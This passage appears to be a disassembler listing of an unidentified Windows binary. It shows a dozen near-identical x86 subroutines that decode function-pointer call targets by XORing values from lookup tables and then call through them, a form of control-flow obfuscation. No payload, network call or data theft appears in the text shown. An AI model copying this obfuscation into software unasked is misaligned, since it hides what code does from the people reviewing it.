		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4E83
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4E83:				; CODE XREF: sub_4A4DF2+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4EEF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8A8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C3h
		mov	[ebp+var_2C], 0CDh
		mov	[ebp+var_28], 91h
		mov	[ebp+var_24], 0Eh
		mov	[ebp+var_20], 9Eh
		mov	[ebp+var_1C], 0BFh
		mov	[ebp+var_18], 95h
		mov	[ebp+var_14], 37h
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A4F80
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A4F80:				; CODE XREF: sub_4A4EEF+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4FEC	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8ACo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 61h
		mov	[ebp+var_2C], 0D0h
		mov	[ebp+var_28], 6Bh
		mov	[ebp+var_24], 6Ah
		mov	[ebp+var_20], 40h
		mov	[ebp+var_1C], 0A8h
		mov	[ebp+var_18], 45h
		mov	[ebp+var_14], 0AAh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A507D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A507D:				; CODE XREF: sub_4A4FEC+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4FEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A50E9	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8B0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EAh
		mov	[ebp+var_2C], 0D6h
		mov	[ebp+var_28], 3Eh
		mov	[ebp+var_24], 1Ch
		mov	[ebp+var_20], 57h
		mov	[ebp+var_1C], 17h
		mov	[ebp+var_18], 87h
		mov	[ebp+var_14], 75h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A517A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A517A:				; CODE XREF: sub_4A50E9+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A50E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A51E6	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8B4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 65h
		mov	[ebp+var_2C], 0A6h
		mov	[ebp+var_28], 0BDh
		mov	[ebp+var_24], 0DEh
		mov	[ebp+var_20], 12h
		mov	[ebp+var_1C], 0F0h
		mov	[ebp+var_18], 0D6h
		mov	[ebp+var_14], 66h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5277
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5277:				; CODE XREF: sub_4A51E6+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A51E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A52E3	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8B8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 15h
		mov	[ebp+var_2C], 7Bh
		mov	[ebp+var_28], 2Fh
		mov	[ebp+var_24], 7Fh
		mov	[ebp+var_20], 45h
		mov	[ebp+var_1C], 0DBh
		mov	[ebp+var_18], 15h
		mov	[ebp+var_14], 56h
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5374
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5374:				; CODE XREF: sub_4A52E3+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A52E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A53E0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8BCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Eh
		mov	[ebp+var_2C], 61h
		mov	[ebp+var_28], 0F3h
		mov	[ebp+var_24], 0C9h
		mov	[ebp+var_20], 0A2h
		mov	[ebp+var_1C], 0ECh
		mov	[ebp+var_18], 5Eh
		mov	[ebp+var_14], 9Dh
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5471
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5471:				; CODE XREF: sub_4A53E0+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A53E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A54DD	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8C0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BAh
		mov	[ebp+var_2C], 37h
		mov	[ebp+var_28], 0B0h
		mov	[ebp+var_24], 0ACh
		mov	[ebp+var_20], 91h
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 20h
		mov	[ebp+var_14], 87h
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A556E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A556E:				; CODE XREF: sub_4A54DD+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A54DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A55DA	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8C4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 55h
		mov	[ebp+var_2C], 78h
		mov	[ebp+var_28], 9Bh
		mov	[ebp+var_24], 2Bh
		mov	[ebp+var_20], 0DDh
		mov	[ebp+var_1C], 0EAh
		mov	[ebp+var_18], 52h
		mov	[ebp+var_14], 57h
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A566B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A566B:				; CODE XREF: sub_4A55DA+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A55DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A56D7	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8C8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7
		mov	[ebp+var_2C], 0B5h
		mov	[ebp+var_28], 0F1h
		mov	[ebp+var_24], 12h
		mov	[ebp+var_20], 0F4h
		mov	[ebp+var_1C], 57h
		mov	[ebp+var_18], 4Dh
		mov	[ebp+var_14], 0EFh
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5768
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5768:				; CODE XREF: sub_4A56D7+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A56D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A57D4	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8CCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A7h
		mov	[ebp+var_2C], 8Eh
		mov	[ebp+var_28], 0B9h
		mov	[ebp+var_24], 25h
		mov	[ebp+var_20], 7Eh
		mov	[ebp+var_1C], 0C1h
		mov	[ebp+var_18], 88h
		mov	[ebp+var_14], 0F2h
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A5864
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A5864:				; CODE XREF: sub_4A57D4+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A57D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A58D0	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED8D0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
